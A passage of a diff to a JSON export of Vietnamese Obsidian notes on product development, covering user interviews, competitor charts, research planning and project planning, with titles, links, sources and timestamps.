nhỏ và ít rủi ro.\n- Cần có kỹ năng tốt về phân tích rủi ro.\n- Yêu cầu thay đổi thường xuyên dẫn đến lặp vô hạn\n- Chưa được dùng rộng dãi như mô hình thác nước hay là mẫu.\n- Đòi hỏi năng lực quản lý\n\nNguồn:: [Quy trình phát triển phần mềm - mô hình xoắn ốc (The Boehm's spiral model) - LCDUNG](https://lcdung.top/quy-trinh-phat-trien-phan-mem-mo-hinh-xoan-oc-the-boehms-spiral-model/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-09T05:23:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jh" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-04-03T06:41:00.000Z", + "id": "Jv" }, { - "Tiêu đề": "❓Persona là exemplar của segmentation", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Persona, câu chuyện người dùng/❓Persona là exemplar của segmentation", + "Tiêu đề": "1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n[[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]]\n[[Những câu hỏi đánh giá tác động đòi hỏi phải nghiên cứu sâu]]\n[[Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-09T09:12:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Ji" + "Ngày tạo": "2023-09-09T16:41:00.000Z", + "Ngày cập nhật": "2023-11-28T07:40:00.000Z", + "id": "Jw" }, { - "Tiêu đề": "5 người dùng đầu tiên phát hiện 85% vấn đề ở sản phẩm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/5 người dùng đầu tiên phát hiện 85% vấn đề ở sản phẩm", + "Tiêu đề": "Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n![](https://media.nngroup.com/media/editor/2023/08/07/why-you-only-need-to-test-5-users-1.jpg) \n\nNếu kiếm được 15 người dùng thì hãy chia nó ra thành 3 lần phỏng vấn. Việc phỏng vấn nhiều người giúp tăng độ tự tin vào kết luận của mình. Nhưng thứ ta cần làm là cải tiến sản phẩm chứ không phải để miêu tả vấn đề của nó.\n\nNguồn:: [[Neilsen Norman Group]], [Why You Only Need to Test with 5 Users](https://www.nngroup.com/articles/why-you-only-need-to-test-with-5-users/)", + "Toàn bộ nội dung": "![slide4.jpg](https://i0.wp.com/steveblank.com/wp-content/uploads/2013/11/slide4.jpg?resize=300%2C292)\r\n[[Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn]]. [[Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn]] \r\n\r\nNguồn:: Steve Blank, [A New Way to Look at Competitors](https://steveblank.com/2013/11/08/a-new-way-to-look-at-competitors/ \"A New Way to Look at Competitors\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-04-03T07:19:00.000Z", - "id": "Jj" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "Jx" }, { - "Tiêu đề": "Người dùng dịch vụ của mình thường phản hồi những thứ họ chấp nhận được. Người dùng dịch vụ của đối thủ thường phản hồi những thứ họ không chấp nhận được", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Người dùng dịch vụ của mình thường phản hồi những thứ họ chấp nhận được. Người dùng dịch vụ của đối thủ thường phản hồi những thứ họ không chấp nhận được", + "Tiêu đề": "Biểu đồ cạnh tranh giúp ta có được những giả định đầu tiên về những khách hàng đầu tiên của chúng ta", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Biểu đồ cạnh tranh giúp ta có được những giả định đầu tiên về những khách hàng đầu tiên của chúng ta", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Y Combinator]], ![Lecture 16 - How to Run a User Interview (Emmett Shear) - YouTube](https://www.youtube.com/watch?v=qAws7eXItMk)\n\n[[Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình]]\n[[Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình]]", + "Toàn bộ nội dung": "[[Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn]]. [[Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets]]\r\n\r\nNguồn:: Steve Blank, [A New Way to Look at Competitors](https://steveblank.com/2013/11/08/a-new-way-to-look-at-competitors/ \"A New Way to Look at Competitors\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jk" + "id": "Jy" }, { - "Tiêu đề": "Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình", + "Tiêu đề": "Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ]]\n[[Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình]]\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Người dùng dịch vụ của mình thường phản hồi những thứ họ chấp nhận được. Người dùng dịch vụ của đối thủ thường phản hồi những thứ họ không chấp nhận được]] \n", + "Toàn bộ nội dung": "[[Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets]]. [[Biểu đồ cạnh tranh giúp ta có được những giả định đầu tiên về những khách hàng đầu tiên của chúng ta]]\r\n\r\nNguồn:: Steve Blank, [A New Way to Look at Competitors](https://steveblank.com/2013/11/08/a-new-way-to-look-at-competitors/ \"A New Way to Look at Competitors\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jl" + "id": "Jz" }, { - "Tiêu đề": "Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình", + "Tiêu đề": "Các mạng xã hội có những báo cáo về xu hướng của người dùng nền tảng của họ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Các mạng xã hội có những báo cáo về xu hướng của người dùng nền tảng của họ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "[Reddit Radar](https://connect.redditinc.com/hubfs/reddit-radar/pdfs/reddit-radar-the-rebalancing-act.pdf), [Meta Foresight](https://www.facebook.com/business/foresight \"Digital Insights and Marketing Research | Meta for Business\"), [Google Trends](https://trends.google.com/trends \"Google Trends\")\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jm" + "id": "J-" }, { - "Tiêu đề": "Nên phỏng vấn một tập người dùng nhiều lần, nhưng không nên một người nhiều lần", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Nên phỏng vấn một tập người dùng nhiều lần, nhưng không nên một người nhiều lần", + "Tiêu đề": "Tổng hợp các cách biểu diễn các bên liên quan", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Tổng hợp các cách biểu diễn các bên liên quan", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "![[A SURVEY OF STAKEHOLDER VISUALIZATION APPROACHES.pdf]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jn" + "Ngày cập nhật": "2023-11-28T08:05:00.000Z", + "id": "J_" }, { - "Tiêu đề": "Việc chọn đối tượng phỏng vấn phụ thuộc vào việc giả định của mình liên quan đến hành vi nào", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Chọn người phỏng vấn/Việc chọn đối tượng phỏng vấn phụ thuộc vào việc giả định của mình liên quan đến hành vi nào", + "Tiêu đề": "Các nghiên cứu có thể có cùng một mục tiêu nghiên cứu, nhưng khác nhau về câu hỏi nghiên cứu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các nghiên cứu có thể có cùng một mục tiêu nghiên cứu, nhưng khác nhau về câu hỏi nghiên cứu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:43:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jo" + "id": "K0" }, { - "Tiêu đề": "Con người không muốn mâu thuẫn với những điều mình nói ra", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Con người không muốn mâu thuẫn với những điều mình nói ra", + "Tiêu đề": "Giai đoạn lên ý tưởng thường khó khăn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Giai đoạn lên ý tưởng thường khó khăn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tất nhiên họ có thể bịa ra lý do để lý giải hành vi của mình, nhưng đó là khi họ chưa ý thức được sự bịa đó. Nhưng một khi họ đã nói ra rồi, thì thường họ sẽ muốn làm đúng với lời họ nói?\n\nMâu thuẫn với:: [[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]] \nMâu thuẫn với:: [[Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình]] \n[[Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân]]", + "Toàn bộ nội dung": "Thách thức:: [[Người giúp đỡ sẽ khó có động lực giúp nếu không thấy ý tưởng mình rõ ràng]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-06-21T15:14:00.000Z", - "id": "Jp" + "Ngày tạo": "2023-05-30T07:31:00.000Z", + "Ngày cập nhật": "2023-11-28T03:46:00.000Z", + "id": "K1" }, { - "Tiêu đề": "Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân", + "Tiêu đề": "Idea là một cái gì đó để thử, còn insight là kết quả của sự thử", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Idea là một cái gì đó để thử, còn insight là kết quả của sự thử", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Con người không muốn mâu thuẫn với những điều mình nói ra]]", + "Toàn bộ nội dung": "Khái niệm:: [[Insight]]\n\n[[Ý tưởng với hiểu biết sâu đều là giả thiết]]\n[[Insight sẽ thường ra ngay lúc phỏng vấn]] [[Insight through making]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jq" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-01-07T13:27:00.000Z", + "id": "K2" }, { - "Tiêu đề": "Người có nhu cầu thường để lại ấn tượng nhiều, nhưng số lượng không nhiều trong thị trường", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Người có nhu cầu thường để lại ấn tượng nhiều, nhưng số lượng không nhiều trong thị trường", + "Tiêu đề": "Knowns and unknowns", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Knowns and unknowns", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\r\n", + "Toàn bộ nội dung": "![](http://wiki.doing-projects.org/images/thumb/9/91/Design_thinking_techniques_that_can_be_used_to_deal_with_the_categories.PNG/450px-Design_thinking_techniques_that_can_be_used_to_deal_with_the_categories.PNG)\n![](http://wiki.doing-projects.org/images/2/2c/Johari_Window.PNG)\nNguồn:: [[Doing project wiki]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T18:17:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jr" + "id": "K3" }, { - "Tiêu đề": "Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình", + "Tiêu đề": "Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Y Combinator]], ![Lecture 16 - How to Run a User Interview (Emmett Shear) - YouTube](https://www.youtube.com/watch?v=qAws7eXItMk)\nMâu thuẫn với:: [[Con người không muốn mâu thuẫn với những điều mình nói ra]] ", + "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]]\n![](https://www.tallengestore.com/cdn/shop/products/Spirit_Of_Sports_-_Motivational_Quote_-_Everybody_Has_A_Plan_Till_They_Get_Punched_In_The_Mouth_-_Iron_Mike_Tyson_464f61f6-196a-4a15-bb7f-1ad1bed76835.jpg) \nNguồn:: Mike Tyson \n\n[[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]]\n[[Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng]]\n[[Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch]] \n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Js" + "Ngày cập nhật": "2024-07-29T12:01:00.000Z", + "id": "K4" }, { - "Tiêu đề": "Người dùng thường không nói không với những tính năng mới", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Người dùng thường không nói không với những tính năng mới", + "Tiêu đề": "Những thứ không quan trọng có thể tự xử lý lẫn nhau", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Những thứ không quan trọng có thể tự xử lý lẫn nhau", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Startup Business Models and Pricing | Startup School - YouTube](https://www.youtube.com/watch?v=oWZbWzAyHAE&list=PLQ-uHSnFig5M9fW16o2l35jrfdsxGknNB&index=5)", + "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]]\n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jt" + "Ngày cập nhật": "2024-07-29T12:18:00.000Z", + "id": "K5" }, { - "Tiêu đề": "Sự tiêu cực của người dùng là cơ hội làm dự án", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hành vi người dùng/Sự tiêu cực của người dùng là cơ hội làm dự án", + "Tiêu đề": "Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới]]\n", + "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]], [[Ưu tiên]], [[Công việc]]\n\n[[Những thứ không quan trọng có thể tự xử lý lẫn nhau]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T05:01:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Ju" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T12:18:00.000Z", + "id": "K6" }, { - "Tiêu đề": "Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì", + "Tiêu đề": "Sự ghi chú tạm để để sau thôi cũng có khi tốn vài tiếng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Sự ghi chú tạm để để sau thôi cũng có khi tốn vài tiếng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Understanding the Job - YouTube](https://youtu.be/sfGtw2C95Ms)\n![5 Tips for Conducting JTBD Interviews - YouTube](https://youtu.be/HSyC7M6u4zQ)\n[[Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới]]\n\nMâu thuẫn với:: [[Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó]] \n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T07:59:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jv" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-30T14:09:00.000Z", + "id": "K7" }, { - "Tiêu đề": "Insight sẽ thường ra ngay lúc phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Insight sẽ thường ra ngay lúc phỏng vấn", + "Tiêu đề": "Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Insight]]\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Insight through making]]", + "Toàn bộ nội dung": "Khái niệm:: [[⚡Hiểu biết sâu/Ξ Khái niệm/Kế hoạch]]\n\nVD: cách sử dụng công cụ, các nguồn lực, tài liệu hiện có\n[[Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn]]\n[[Khả năng tạo ra được sự bền vững nằm ở việc có thấy được siêu vật hay không]]\n[[Siêu vật là những vật mà ta khi ta chạm vào những vị trí khác nhau của nó thì không thấy sự liên quan giữa chúng, làm ta nghĩ chúng là những vật khác nhau]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:43:00.000Z", - "Ngày cập nhật": "2024-01-07T13:26:00.000Z", - "id": "Jw" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T07:00:00.000Z", + "id": "K8" }, { - "Tiêu đề": "Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó", + "Tiêu đề": "Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân]]\nVí dụ một người nói phong cách của họ đơn giản, nhưng thời điểm họ nói điều đó họ cũng chỉ mới nghĩ ra cái khái niệm đơn giản đó. Có thể điều khiến họ mua là vì giá, vì tiện, nhưng trong đầu họ lại thấy mình mua vì phong cách, vì môi trường. Chính vì như vậy, nên [[Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó]], dù cho [[Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người]]. Dù vậy, phỏng vấn vẫn rất nên được sử dụng vì ngoài chuyện hiểu lý do cho một hành vi của một người, [[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ|Phỏng vấn còn phù hợp để đánh giá cách tiếp nhận hay thái độ]] nữa.\nShow, don't tell\n\n[[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]\n[[Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó]]\n[[Kết quả phỏng vấn phải actionable]]\n[[Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới]]\n[[Sử dụng nhiều phương pháp 